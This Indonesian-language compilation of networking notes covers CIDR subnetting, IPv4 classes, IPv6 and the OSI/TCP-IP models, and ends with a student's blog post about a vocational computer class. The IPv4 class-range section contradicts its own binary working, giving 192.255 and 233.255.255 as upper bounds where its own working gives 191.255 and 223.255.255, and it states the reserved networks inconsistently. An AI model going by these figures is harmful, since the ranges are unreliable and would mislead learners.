biner diatas setelah dijadikan desimal maka didapatkan
255.255.255.0

contoh untuk CIDR /26
apabila CIDR /26 maka dihitung dari bit terdepan sebanyak 26 bit kebelakang
ngambilnya seperti yg saya warna merah
11000000.10101000.00000000.00000000
jadi subnet untuk CIDR /26 dalam biner adalah
11111111.11111111.11111111.11000000
biner diatas setelah dijadikan desimal maka didapatkan
255.255.255.192

untuk CIDR /26 maka tersedia sebanyak 62 host
62 host ini didapat dari
total digit biner adalah 32
CIDRnya 26
maka dihitung 32-26=6
lalu diambil 6 digit dari belakang
11000000.10101000.00000000.00000000
jd host yang tersedia mulai biner 000001 - 111110
kalau dijadikan desimal maka didapat 1-62
artinya mulai dari ip 192.168.0.1-192.168.0.62
untuk ip 192.168.0.0 menjadi network id sedangkan 192.168.0.63 menjadi broadcast id

Penjelasan tentang kelas A, B, dan C:

Masing-masing kelas A, B, dan C memiliki Subnet Mask default. Apakah itu Subnet Mask? Ia adalah sekumpulan IP yang akan membantu kita membedakan porsi untuk Network Id dan porsi untuk Host Id pada suatu IP Address. Karena seperti yang kita ketahui bersama bahwa IP Address terdiri dari Network Id dan Host Id.

Berikut Subnet Mask default masing-masing kelas tersebut:

Kelas A:

dalam desimal: 255.0.0.0
dalam biner: 11111111.00000000.00000000.00000000

Kelas B:

dalam desimal: 255.255.0.0
dalam biner: 11111111.11111111.00000000.00000000

Kelas C:

dalam desimal: 255.255.255.0
dalam biner: 11111111.11111111.11111111.00000000

Pada Subnet Mask, oktet yang berisi nilai 1 menandakan bahwa oktet tersebut merupakan porsi untuk Network Id, dan yang berisi nilai 0 menandakan bahwa oktet tersebut merupakan porsi untuk Host Id. Jadi pada jika didetailkan tentang masing-masing porsi untuk Network Id dan Host Id sebagai berikut:

Kelas A:

Oktet 1 | Oktet 2 | Oktet 3 | Oktet 4

Net-Id |<-----------Host Id------->|

Kelas B:

Oktet 1 | Oktet 2 | Oktet 3 | Oktet 4

<-----Net-Id----->|<-----Host Id---->|

Kelas C

Oktet 1 | Oktet 2 | Oktet 3 | Oktet 4

|<-----------Net Id-------->|Host-Id|


Berangkat dari sini, baru deh kita mulai coba menentukan range IP dari masing-masing kelas. Kita mulai dari kelas A, kemudian B, dan terakhir C:

Kelas A

Network Id menempati 1 oktet pertama. Nilai minimum adalah 00000000 (dalam biner) atau 0 (dalam desimal) dan nilai maksimum adalah 11111111 (dalam biner) atau 255 (dalam desimal) dengan jumlah Network = 2^8 = 256. Namum ada aturan terkait bahwa bit paling kiri pada kelas A harus bernilai 0, sehingga peta biner pada oktet pertama menjadi:

|0|nnnnnnn|

Karena 1 bit paling kiri sudah ditetapkan, sehingga kelas A tinggal memiliki 7 bit (8 - 1) yang dapat digunakan sebagai IP Network ID yang nilai minimumnya adalah 00000000 (dalam biner) atau 0 (dalam desimal) dan nilai maksimumnya adalah 01111111 (dalam biner) atau 127 (dalam desimal) dengan jumlah Network = 2^7 = 128. Dari hasil hitungan ini kita mulai mendapatkan range Network ID kelas A, yaitu: 0 - 127. Jika dilengkapi dengan host jadinya:

0.0.0.0 - 127.0.0.0

Ternyata ada aturan lagi bahwa Network 0.0.0.0 dicadangkan dan 127.0.0.0 digunakan untuk loopback sehingga kedua network tersebut tidak dapat digunakan. Akhirnya kita menemukan bahwa IP Network yang "real" pada kelas A yaitu 1.0.0.0 - 126.0.0.0 dengan jumlah Network = 128 - 2 = 126.

Kelas B

Network Id menempati 2 oktet pertama. Nilai minimum adalah 00000000.00000000 (dalam biner) atau 0 (dalam desimal) dan nilai maksimum adalah 11111111.11111111 (dalam biner) atau 255.255 dengan jumlah Network = 2^16 = 65536. Namun ada aturan terkait bahwa 2 bit paling kiri pada kelas B harus bernilai 10, sehingga peta biner pada oktet pertama dan kedua menjadi:

|10|nnnnnn|nnnnnnnn|

Karena 2 bit paling kiri sudah ditetapkan, sehingga kelas B tinggal memiliki 14 bit (16 - 2) yang dapat digunakan sebagai IP Network ID yang nilai minimumnya adalah 10000000.00000000 (dalam biner) atau 128.0 (dalam desimal) dan nilai maksimum adalah 10111111.11111111 (dalam biner) atau 191.255 (dalam desimal) dengan jumlah Network = 2^14 = 16384. Dari hasil hitungan ini kita mulai mendapatkan range Network ID kelas B, yaitu 128.0 - 191.255. Jika dilengkapi dengan host jadinya:

128.0.0.0 - 192.255.0.0

Ternyata ada aturan lagi bahwa Network 191.255 dicadangkan sehingga network tersebut tidak dapaat digunakan. Akhirnya kita menemukan bahwa IP Network yang "real" pada kelas B yaitu 128.0.0.0 - 192.254.0.0 dengan jumlah Network = 16384 - 1 = 16383

Kelas C

Network Id menempati 3 oktet pertama. Nilai minimum adalah 00000000.00000000.00000000 (dalam biner) atau 0 (dalam desimal) dan nilai maksimum adalah 11111111.11111111.11111111 (dalam biner) atau 255.255.255 (dalam desimal) dengan jumlah Network = 2^24 = 16777216. Namun ada aturan terkait bahwa 3 bit paling kiri pada kelas C harus bernilai 110, sehingga peta biner pada oktet pertama, kedua, dan ketiga menjadi:

|110|nnnnn|nnnnnnnn|nnnnnnnn|

Karena 3 bit paling kiri sudha ditetapkan, sehingga kelas C tinggal memiliki 21 bit (24 - 3) yang dapat digunakan sebagai IP Network Id yang nilai minimumnya adalah 11000000.00000000.00000000 (dalam biner) atau 192.0.0.0 (dalam desimal) dan nilai maksimum adalah 11011111.11111111.11111111 (dalam biner) atau 223.255.255 (dalam desimal) dengan jumlah Network = 2^21 = 2097152. Dari hasil hitungan ini kita mulai mendapatkan range Network Id kelas C, yaitu 192.0.0 - 233.255.255. Jika dilengkapi dengan host jadinya:

192.0.0.0 - 233.255.255.0

Ternyata ada aturan lagi bahwa Network 192.0.0.0 dan 233.255.255.0 dicadangkan sehingga kedua Network tersebut tidak dapat digunakan. Akhirnya kita mendapatkan bahwa IP Network yang "real" pada kelas C yaitu 192.0.1.0 - 233.255.254.0 dengan jumlah Network = 2097152 - 2 = 2097150.


=======================

Berikut sedikit brief description mengenai IPv6 (IP version 6)... ***Thanks alot to wikipedia***

1. Basic Description
Alamat IP versi 6 (sering disebut sebagai alamat IPv6) adalah sebuah jenis pengalamatan jaringan yang digunakan di dalam protokol jaringan TCP/IP yang menggunakan protokol IP versi 6.
Panjang totalnya adalah 128-bit, dan secara teoritis dapat mengalamati hingga 2128=3,4 x 1038 host komputer di seluruh dunia.
Contoh alamat IP versi 6 adalah 21DA:00D3:0000:2F3B:02AA:00FF:FE28:9C5A.

2. Perbedaan antara IPv4 vs. IPv6:
- IPv6 128-bit, IPv4 32-bit
- Jumlah total alamat IPv4: 4.294.967.296
Jumlah total alamat IPv6: 2 pangkat 128 = Silahkan hitung (kalo pake calc.exe yang keluar bilangan exponen)
- IPv4: Dynamic & Static
IPv6: Stateful Address Configuration & Stateless Address Configuration
- IPv4: High-order bit buat network ID, Low-order bit buat host ID
IPv6: High-order bit buat network ID (disebut Format Prefix), dan tidak menggunakan subnet mask!! menyenangkan sekali... ngga usah itung subnete.. eh subnetting
- IPv4: menggunakan . (dot) sebagai pemisah alamat
IPv6: menggunakan : (colon) sebagai pemisah alamat

3. Format Alamat
Dari 128-bit, dibagi menjadi 8 blok masing2 16-bit, yang tiap2 blok dapat dikonversikan dari binary menjadi 4-digit hexadecimal
Contoh binary IPv6:
00100001110110100000000011010011000000000000000000 10111100111011000000101010101000000000
1111111111111110001010001001110001011010

Jika dibagi menjadi 8 blok masing2 16-bit:
0010000111011010 0000000011010011 0000000000000000 0010111100111011 0000001010101010
0000000011111111 1111111000101000 1001110001011010

Dan jika di-convert ke hexadecimal:
21DA:00D3:0000:2F3B:02AA:00FF:FE28:9C5A

Dan alamat hexa diatas, bisa disederhana-in jadi:
21DA:D3:0:2F3B:2AA:FF:FE28:9C5A

4. Penyederhanaan Alamat IPv6
IPv6 yang ukuran 128-bit, klo dikirim full dalam sebuah IP header pasti akan cukup memberatkan karena header IP packet akan menjadi besar... makanya IPv6 juga bisa disederhakan (seperti diatas) lalu dikompress supaya lebih kecil lagi.
Contoh:
Alamat asli FE80:0000:0000:0000:02AA:00FF:FE9A:4CA2, disederhanakan menjadi FE80:0:0:0:2AA:FF:FE9A:4CA2, dikompress menjadi FE80::2AA:FF:FE9A:4CA2

5. Format Prefix
Dalam IPv4, sebuah alamat dalam notasi dotted-decimal format dapat direpresentasikan dengan menggunakan angka prefiks yang merujuk kepada subnet mask. IPv6 juga memiliki angka prefiks, tapi tidak didugnakan untuk merujuk kepada subnet mask, karena memang IPv6 tidak mendukung subnet mask.

Prefiks adalah sebuah bagian dari alamat IP, di mana bit-bit memiliki nilai-nilai yang tetap atau bit-bit tersebut merupakan bagian dari sebuah rute atau subnet identifier. Prefiks dalam IPv6 direpesentasikan dengan cara yang sama seperti halnya prefiks alamat IPv4, yaitu [alamat]/[angka panjang prefiks]. Panjang prefiks mementukan jumlah bit terbesar paling kiri yang membuat prefiks subnet. Sebagai contoh, prefiks sebuah alamat IPv6 dapat direpresentasikan sebagai berikut:
3FFE:2900:D005:F28B::/64 dibaca, 64-bit pertama adalah network ID, sisanya adalah host ID

6. Jenis - Jenis IPv6

* Alamat Unicast, yang menyediakan komunikasi secara point-to-point, secara langsung antara dua host dalam sebuah jaringan.

* Alamat Multicast, yang menyediakan metode untuk mengirimkan sebuah paket data ke banyak host yang berada dalam group yang sama. Alamat ini digunakan dalam komunikasi one-to-many.

* Alamat Anycast, yang menyediakan metode penyampaian paket data kepada anggota terdekat dari sebuah group. Alamat ini digunakan dalam komunikasi one-to-one-of-many. Alamat ini juga digunakan hanya sebagai alamat tujuan (destination address) dan diberikan hanya kepada router, bukan kepada host-host biasa.


Alamat unicast & anycast dibagi menjadi:

* Link-Local, merupakan sebuah jenis alamat yang mengizinkan sebuah komputer agar dapat berkomunikasi dengan komputer lainnya dalam satu subnet.

* Site-Local, merupakan sebuah jenis alamat yang mengizinkan sebuah komputer agar dapat berkomunikasi dengan komputer lainnya dalam sebuah intranet.

* Global Address, merupakan sebuah jenis alamat yang mengizinkan sebuah komputer agar dapat berkomunikasi dengan komputer lainnya dalam Internet IPv6.


7. Unicast Global Address
Alamat unicast global IPv6 mirip dengan alamat publik dalam alamat IPv4. Dikenal juga sebagai Aggregatable Global Unicast Address. Seperti halnya alamat publik IPv4 yang dapat secara global dirujuk oleh host-host di Internet dengan menggunakan proses routing, alamat ini juga mengimplementasikan hal serupa. Struktur alamat IPv6 unicast global terbagi menjadi topologi tiga level (Public, Site, dan Node).

Yang pada akhirnya... kalo semua udah pake IPv6, gw rasa tiap orang didunia nomor KTP-nya adalah IPv6...
Mungkin nanti pembagiannya menjadi:
- 112-bit buat ID KTP
- Sisa 16-bit lagi buat device ID yang dipunya oleh orang tersebut (bisa HP, Laptop, dan berbagai device canggih lainnya...)

Buat yang mau lebih lengkap mengenai IPv6, bisa liat di http://www.ipv6tf.org/

sumber : istanaku.biz

Arsitektur Protokol


  • Merupakan perangkat lunak dari jaringan komunikasi data
  • Terdiri dari layer, protokol dan interface
    • Jaringan diorganisasikan menjadi sejumlah level (layer) untuk mengurangi kerumitannya
    • Setiap layer dibuat berdasarkan layer dibawahnya
    • Antar layer terdapat sebuah interface yang menentukan operasi dan layanan yang diberikan layer terbawah untuk layer diatasnya
    • Layer pada level yang sama di dua host yang berbeda dapat saling berkomunikasi dengan mengikuti sejumlah aturan dan ketetapan yang disebut sebagai protokol.
  • Dua model:
    • OSI (hanya sebuah konsep)
    • TCP/IP (digunakan secara komersial)

1. OSI (Open System Interconnection)
Model referensi OSI (Open System Interconnection) menggambarkan bagaimana informasi dari suatu software aplikasi di sebuah komputer berpindah melewati sebuah media jaringan ke suatu software aplikasi di komputer lain. Model referensi OSI secara konseptual terbagi ke dalam 7 lapisan dimana masing-masing lapisan memiliki fungsi jaringan yang spesifik, seperti yangdijelaskan oleh gambar dibawah ini (tanpa media fisik). Model ini diciptakan berdasarkan sebuah proposal yang dibuat oleh the International Standards Organization (ISO) sebagai langkah awal menuju standarisasi protokol internasional yang digunakan pada berbagai layer . Model ini disebut ISO OSI (Open System Interconnection) Reference Model karena model ini ditujukan bagi pengkoneksian open system. Open System dapat diartikan sebagai suatu sistem yang terbuka untuk berkomunikasi dengan sistem-sistem lainnya. Untuk ringkas- nya, kita akan menyebut model tersebut sebagai model OSI saja.
Model referensi OSI

Model OSI memiliki tujuh layer. Fungsi dari ketujuh layer tersebut adalah:
1. Physical Layer
  • Menangani pengiriman bit-bit data melalui saluran komunikasi
  • Memastikan jika entiti satu mengirimkan bit 1, maka entiti yang lain juga harus menerima bit 1
  • Fungsi utama untuk menentukan
    • berapa volt untuk bit 1 dan 0
    • berapa nanoseconds bit dapat bertahan di saluran komunikasi
    • kapan koneksi awal dibuat dan diputuskan ketika dua entiti selesai melakukan pertukaran data
    • jumlah pin yang digunakan oleh network connector dan fungsi dari setiap pin
  • Contoh: token ring, IEEE 802.11
  • Perangkat yang beroperasi di layer ini adalah hub, repeater, network adapter/network interface card, dan host bus adapter (digunakan di storage area network)
2. Data Link Layer
  • Menyediakan prosedur pengiriman data antar jaringan
  • Mendeteksi dan mengkoreksi error yang mungkin terjadi di physical layer
  • Memiliki address secara fisik yang sudah di-kode-kan secara langsung ke network card pada saat pembuatan card tersebut (disebut MAC Address)
  • Contoh: Ethernet, HDLC, Aloha, IEEE 802 LAN, FDDI
  • Perangkat yang beroperasi di layer ini adalah bridge dan layer-2 switch
3. Network Layer
  • Menentukan prosedur pengiriman data sekuensial dengan berbagai macam ukuran, dari sumber ke tujuan, melalui satu atau beberapa jaringan, dengan tetap mempertahankan Quality of Service (QoS) yang diminta oleh transport layer
  • Fungsi:
    • Routing: menentukan jalur pengiriman dari sumber ke tujuan, bisa statik (menggunakan tabel statik yang cocok untuk jaringan yang jarang sekali berubah) atau dinamis (menentukan jalur baru untuk setiap data yang dikirimkan)
    • Pengendalian kongesti (kemacetan pada proses pengiriman data)
    • Mempertahankan QoS (delay, transit time, jitter, dll)
    • Menyediakan interface untuk jaringan-jaringan yang berbeda agar dapat saling berkomunikasi
  • Contoh: Internet Protocol (IP)
  • Perangkat yang beroperasi di layer ini adalah router dan layer-3 switch
4. Transport Layer
  • Menerima data dari layer diatasnya, memecah data menjadi unit-unit yang lebih kecil (sering disebut packet), meneruskannya ke network layer dan memastikan semua packets tiba di ujung penerima tanpa ada error
  • Layer ini harus melakukan proses diatas secara efisien dan memastikan layer diatas tidak terpengaruh terhadap perubahan teknologi hardware
  • Fungsi:
    • Flow control
    • Segmentation/desegmentation
    • Error control
  • Contoh: Transmission Control Pr
    otocol (TCP), User Datagram Protocol (UDP), Stream Control Transmission Protocol (SCTP)
5. Session Layer
  • Mengijinkan user-user yang menggunakan mesin yang berbeda untuk membuat dialog (session) diantara mereka
  • Fungsi:
    • Pengendalian dialog: memantau giliran pengiriman
    • Pengelolaan token: mencegah dua pihak untuk melakukan operasi yang sangat kritis dan penting secara bersamaan
    • Sinkronisasi: menandai bagian data yang belum terkirim sesaat crash pengiriman terjadi, sehingga pengiriman bisa dilanjutkan tepat ke bagian tersebut
6. Presentation Layer
  • Mengatur tentang syntax dan semantics dari data yang dikirimkan
  • Manipulasi data seperti MIME encoding, kompresi, dan enkripsi dilakukan di layer ini
7. Application Layer
  • Sangat dekat dengan user
  • Menyediakan user interface ke jaringan melalui aplikasi
  • Contoh protokol aplikasi yang banyak digunakan: hypertext transfer protocol (HTTP) yang digunakan di world wide web, file transfer protocol (FTP) untuk pengiriman file antar komputer, simple mail transfer protocol (SMTP) untuk email


Prinsip-prinsip yang digunakan bagi ketujuh layer
tersebut adalah :
1. Sebuah layer harus dibuat bila diperlukan tingkat abstraksi yang
berbeda.
2. Setiap layer harus memiliki fungsi-fungsi tertentu.
3. Fungsi setiap layer harus dipilih dengan teliti sesuai dengan ketentuan
standar protocol internasional.
4. Batas-batas layer diusahakan agar meminimalkan aliran informasi yang
melewati interface.
5. Jumlah layer harus cukup banyak, sehingga fungsi-fungsi yang berbeda
tidak perlu disatukan dalam satu layer diluar keperluannya. Akan tetapi
jumlah layer juga harus diusahakan sesedikit mungkin sehingga arsitektur
jaringan tidak menjadi sulit dipakai.


2. TCP/IP
TCP/IP adalah protokol yang digunakan di jaringan global karena memiliki sistem pengalamatan yang baik dan memiliki sistem pengecekan data. Saat ini terdapat dua versi TCP/IP yang berbeda dalam sistem penomoran, yaitu IPv4 (32 bit) dan IPv6 (128 bit), dan saat ini yang masih digunakan adalah IPv4. Untuk memepermudah penulisan, alamat IP biasanya ditulis dalam bentuk empat segmen bilangan desimal yang dipisahkan tanda titik dan setiap segmen mewakili delapan bit pada alamat IP. Setiap network adapter dapat memiliki lebih dari satu alamat IP namun sebuah alamat IP (IP address) tidak boleh dipakai oleh dua atau beberapa network adapter. Pengaturan alokasi alamat IP dilakukan oleh badan internasional bernama Internic. Saat ini lebih dari 85% alamat IP (IPv4) telah terpakai sehingga sebentar lagi sistem IPv4 akan digantikan oleh IPv6.

Protokol TCP/IP dikembangkan pada akhir dekade 1970-an hingga awal 1980-an sebagai sebuah protokol standar untuk menghubungkan komputer-komputer dan jaringan untuk membentuk sebuah jaringan yang luas (WAN). TCP/IP merupakan sebuah standar jaringan terbuka yang bersifat independen terhadap mekanisme transport jaringan fisik yang digunakan, sehingga dapat digunakan di mana saja. Protokol ini menggunakan skema pengalamatan yang sederhana yang disebut sebagai alamat IP (IP Address) yang mengizinkan hingga beberapa ratus juta komputer untuk dapat saling berhubungan satu sama lainnya di Internet. Protokol ini juga bersifat routable yang berarti protokol ini cocok untuk menghubungkan sistem-sistem berbeda(seperti Microsoft Windows dan keluarga UNIX) untuk membentuk jaringan yang heterogen. Protokol TCP/IP selalu berevolusi seiring dengan waktu, mengingat semakin banyaknya kebutuhan terhadap jaringan komputer dan Internet. Pengembangan ini dilakukan oleh beberapa badan, seperti halnya Internet Society (ISOC), Internet Architecture Board (IAB), dan Internet Engineering Task Force (IETF). Macammacam protokol yang berjalan di atas TCP/IP, skema pengalamatan, dan konsep TCP/IP didefinisikan dalam dokumen yang disebut sebagai Request for Comments (RFC) yang dikeluarkan oleh IETF.

Model TCP/IP terdiri dari 4 layer:
    • Data link layer
    • Network layer
    • Transport layer
    • Application layer

1. Data Link Layer
  • Sebenarnya bukan bagian dari TCP/IP suite.
  • Proses pengiriman dan penerimaan packet untuk layer ini dapat dilakukan oleh software device driver dari network card/adapter yang digunakan.
  • Layer ini juga termasuk physical layer, yang terdiri dari komponen fisik seperti hub, repeater, kabel jaringan (UTP, fibre, coaxial), network cards, network connectors (RJ-45, BNC, dll) dan spesifikasi untuk sinyal (level voltase, frekuensi, dll)

2. Network Layer
  • Awalnya network layer ditujukan untuk mengirimkan packet antar host di sebuah jaringan, contoh X.25
  • Pengembangan ke Internetworking, dimana jalur pengiriman packet dari sumber ke tujuan melalui jaringan-jaringan lainnya (routing)
  • Beberapa protokol bagian dari IP yaitu ICMP (menyediakan informasi dianostik untuk pengiriman packet IP), IGMP (mengelola data multicast), protokol routing seperti BGP, OSPF dan RIP

3. Transport Layer
  • Menyediakan layanan pengiriman pesan dari ujung ke ujung yang dapat dikategorikan sebagai:
    • Connection-oriented: TCP (byte-oriented) dan SCTP(stream-oriented)
    • Connectionless: UDP dan RTP (datagram)

4. Application Layer
  • Layer ini mencakup presentation dan session layer dari model OSI, dimana layanan dari layer-layer tersebut disediakan melalui libraries
  • Data user yang akan dikirimkan melalui jaringan diterima melalui application layer, baru kemudian diteruskan ke layer dibawahnya, yaitu transport layer.
  • Setiap aplikasi yang menggunakan TCP atau UDP, membutuhkan port sebagai identitas aplikasi tersebut. Contoh: port untuk HTTP adalah 80, port untuk FTP adalah 21
  • Port numbers (16 bit) digunakan oleh TCP atau UDP untuk membedakan setiap proses yang menggunakan layanan mereka
    • Well known ports: 0 s/d 1023 dipesan oleh Internet Assigned Number Authority (IANA) ? tidak bisa digunakan secara bebas
    • Registered ports: 1024 s/d 49151 ? tidak dikontrol oleh IANA tapi tidak bisa digunakan secara bebas karena sudah direserve oleh sistem komputer
    • Dynamic atau private atau ephemeral (short-lived) ports: 49152 s/d 65535 ? bisa digunakan user secara bebas







The Experience is The Best Teacher








(Pengalamanku selama di kelas X-TKJ)
Oleh : David
Email : david_bagoesdw@yahoo.com
Blog : http://bloganakkomputer.blogspot.com/

Akhirnya setelah bekerja dan berusaha selama 1 tahun, kita kelas X-TKJ C naik semua ke level 2 dan di tahun ini kita akan lebih mendalami teknik komputer terutama di bidang Jaringan. Tapi kami anak kelas X-TKJ C bersyukur kepada Tuhan yang telah memberikan anugerah ini kepada kita sehingga kita masih diberi kesempatan untuk melanjutkan ilmu dan prestasi kita supaya dapat lebih baik di hari depan.

Saya ingin ber-sharing pengalaman saya selama di kelas X terutama di kelas X-TKJ C. Tetapi sebelum itu saya ingin bercerita sebelum saya masuk ke SMK 2 Ska dahulu.
Waktu saya masih SMP kelas 1 saya tidak begitu paham bahkan tidak tertarik mengenai komputer. Namun kira-kira kelas 1 SMP semester saya mulai tertarik untuk mempelajari komputer. Saat itu saya belajar computer di rumah pakde saya yang kebetulan guru computer smp dan untuk percobaan pertama kali saya menggunakan komputer pentium MMX dengan kecepatan 233Mhz dan RAM 32MB (bisa dibayangkan betapa lambatnya komputer itu). Tetapi computer tersebut sudah lama tidak digunakan kurang lebih 2 tahun sehingga computer tidak dapat masuk OS sebab OS nya sendiri telah rusak. Nah mulai dari sini saya belajar memperbaiki komputer tersebut dengan cara menginstall ulangnya. Kemudian saya diajarkan cara menginstall ulang computer mulai dari setting BIOS, boot dari CD, setting pheriperal, partisi harddisk, dll. Akhirnya setelah beberapa jam install ulang pun telah selesai dengan OS Windows 98. Tampilannya masih sangat sederhana dan mungkin sangat jauh bila dibandingkan dengan Windows Vista yang sekarang ini (ya jelaslah mas).

Itulah tadi pengalaman singkat saya mengenai perkenalan dengan komputer pertama kali yaitu dengan Mr. Pentium MMX233. Mungkin kalian memiliki pengalaman tersendiri bagaimana anda pertama kali melihat computer hingga sampai sekarang ini anda menekuni bidang IT.

Selanjutnya yang kedua saya ingin berbagi pengalaman saya saat pertama kali masuk di SMKN 2 Ska terutama di lab. Computer TKJ. Saat pertama kali masuk lab. Computer masih terasa canggung dan belum beradaptasi. Kemudian saya kaget sekali saat ada sepasang guru yang masuk kelas dan salah satunya berbadan besar dan bermuka geram kita sebut saja Bapak X (maaf ya pak guru kalau ada yang tersinggung tapi ini pengalaman nyata saya, he...). Tapi ternyata setelah perkenalan kedua guru tersebut ternyata baik dan enak untuk di ajak berbincang dan bercanda. Begitu juga dengan 2 guru pada hari berikutnya setelah perkenalan ternyata baik dan ramah juga kepada kami. Guru yang mengajar kami waktu kelas 1 totalnya ada 4 yaitu Bp.Sigit dan Bp.Tarno yang mengajar kami hari Jumat mengenai KKPI dan Instalasi OS Berbasis GUI serta Bp.Joko dan Bp.Wakid yang mengajar kami hari Sabtu dan lebih pada bagian Ms.Access dan Instalasi OS berbasis text menggunakan Linux Debian. Inilah para guru yang telah setia mendampingi kami selama satu tahun selama di kelas X-TKJ C dan telah mengajarkan banyak hal dan ilmu yang sungguh berguna bagi kami semua.

Kemudian yang ketiga saya ingin menceritakan pengalaman saya mengenai pembelajaran selama di kelas X. Saat semester satu kami masih diajarkan tentang KKPI dasar seperti Microsoft Word contohnya membuat mail merger yaitu surat yang akan ditujukan ke banyak penerima, Microsoft Excel mengenai rumus-rumus dasar dalam Excel seperti Sum, Average, Vlookup, If, dll dan yang terakhir mempelajari Microsoft Access yang sejujurnya awalnya saya tidak mengerti sama sekali namun lama-kelamaan setelah tertarik akhirnya mengerti dan memahami juga. Dalam Ms. Access kita belajar cara membuat database, meng-input data, men-delete data, membuat Queries, Form, Reports, dan yang paling menarik menurut saya saat membuat Start Up Ms. Access tersebut sehingga dapat berjalan layaknya program database menggunakan User Interface. Bagi anda yang mungkin tertarik untuk mendownload contoh cara membuat mail merger dengan Ms. Word klik disini, contoh rumus-rumus dasar dalam Excel klik disini, juga contoh Ms. Access yang telah jadi with start up beserta file masternya dapat anda lihat dengan klik disini dan beberapa rumus Ms. Access klik disini.

Sesudah semester 1 selesai dengan KKPI kita beralih ke semester 2 yang akan membahas tentang Teknik Komputer yang sebenarnya. Pada awalnya kita diperkenalkan pada perangkat keras/hardware yang merupakan komponen penyusun sebuah computer. Ada motherboard yang merupakan papan induk segala komponen hardware lain, processor yang merupakan CPU atau pusat pemroses data dan merupakan otak utama dari sebuah komputer, RAM yang berfungsi sebagai memori sementara, dll. Kemudian kita membuat presentasi mengenai komponen computer hingga jaringan dasar seperti hardware sharing, data sharing. Kebetulan saya mendapat bagian presentasi komponen computer yang tidak begitu sulit. saya juga sertakan file presentasi saya, modul komponen komputer dan periferal mengenai komponen computer, dan bagi anda yang berminat untuk men-download klik disini. Setelah kita memahami berbagai komponen komputer, kita mencoba untuk merakit komputer dari awal, komponen per komponen hingga menjadi 1 unit PC yang siap untuk digunakan.

Kemudian setelah merakit sebuah komputer selesai dan tidak ada permasalahan, kita akan memberikan sebuah OS (Operating System) pada komputer tersebut supaya dapat kita gunakan sebab tanpa OS sebuah komputer tercanggih manapun tidak akan berguna sama sekali. Nah dalam pembelajaran ini kita menggunakan 2 OS yang mungkin sudah sering kita jumpai yaitu Windows buatan Microsoft and dan Debian yang merupakan salah satu distro Linux namun kami menggunakan Debian Linux yang penggunaannya berbasiskan text. Manakah yang harus kita pilih dari kedua jenis OS ini? Nah maka dari itu kita harus tahu dahulu kekurangan dan kelebihan masing-masing OS tersebut. Untuk mengetahuinya saya telah menyertakan kelebihan dan kekurangan kedua OS ini secara umum (Window vs Linux), bila anda berminat klik disini untuk men-download file ini.

Saya akan mencoba menginstall kedua OS seperti tersebut di atas. Yang pertama saya menginstall Debian Linux yang berbasiskan text. Banyak langkah-langkah yang perlu dilakukan mulai dari setting BIOS, boot CD, konfigurasi hardware dan jaringan, dll. Setelah selesai menginstall saya akan mencoba beberapa perintah dasar untuk mencoba apakah OS ini telah berjalan dengan baik dan sempurna. Bila anda tertarik untuk menginstall Debian Linux saya telah menyertakan untuk anda langkah demi langkah beserta beberapa perintah dasarnya. Untuk mendownloadnya klik disini.
Setelah OS Debian Linux yang berbasiskan text selesai di install kemudian saya akan membandingkan OS Windows buatan Microsoft Corporation yang telah familiar bagi kita dan penggunaannya yang mudah sebab telah berbasiskan GUI (Graphic User Interface) dan tinggal klik di sana sini. Untuk langkah-langkah penginstallan OS Windows dan saya menggunakan Windows XP Service Pack 2 dapat klik di sini untuk mendownloadnya.
Akhirnya sesudah kita merakit komputer dan menginstall OS beserta aplikasi pendukung yang membutuhkan waktu cukup lama, komputer kita telah siap untuk digunakan untuk bekerja, mendengarkan musik, melihat video, bermain game, ataupun untuk surfing di dunia maya. Namun suatu saat pasti akan terjadi permasalahan dengan komputer kita mulai dai permasalahan ringan sampai dengan permasalahan berat. Untuk mengatasi permasalah tersebut sebenarnya kita tidak perlu untuk memanggil tukang service komputer sebab akan membutuhkan waktu dan dana yang tidak sedikit. Kita sendiri dapat mengatasi permasalah tersebut asal dengan panduan dan pengetahuan komputer yang cukup. Saya telah meringkas berbagai contoh permasalahan komputer beserta cara mengatasinya (Troubleshooting komputer). Untuk dapat mendownloadnya klik disini.

Nah di akhir tahun tugas inilah yang menurut saya cukup berat sebab kita diberi tugas untuk membuat Tugas Akhir. Tugas akhir ini meliputi sejarah computer, komponen computer, merakit komputer, dll. Setiap kelas harus mengumpulkan 1 buah TA yang berbentuk buku dan meliputi semuanya maka kerja sama dalam kelas sangat diperlukan sekali dalam pembuatan TA ini. Kami membagi siswa dan siswi dalam 1 kelas menjadi beberapa kelompok dan diberi tugas masing-masing. Akhirnya setelah cukup lama kita mengumpulkan bahan dari Internet dan melakukan praktek lalu menyusunnya selesai juga TA kelas kami. Bagi anda yang ingin melihat Tugas Akhir kami di bidang TKJ sebagai referensi atau sebagai pebandingan dapat klik disini untuk mendownloadnya.

Demikianlah pengalaman singkat saya selama di kelas X TKJ-C tahun ajaran 2008/2009. Semoga dapat berguna bagi pembaca dan bila terdapat salah kata saya mohon maaf. Terima kasih atas perhatiaannya kepada pembaca yang telah membaca artikel saya ini yang masih jauh dari kata bagus. Saya mohon maaf apabila terdapat salah kata atau menyinggung seseorang dalam artikel ini. Untuk kritik dan saran dapat kirimkan email ke david_bagoesdw@yahoo.com atau kunjungi blog saya di http://bloganakkomputer.blogspot.com .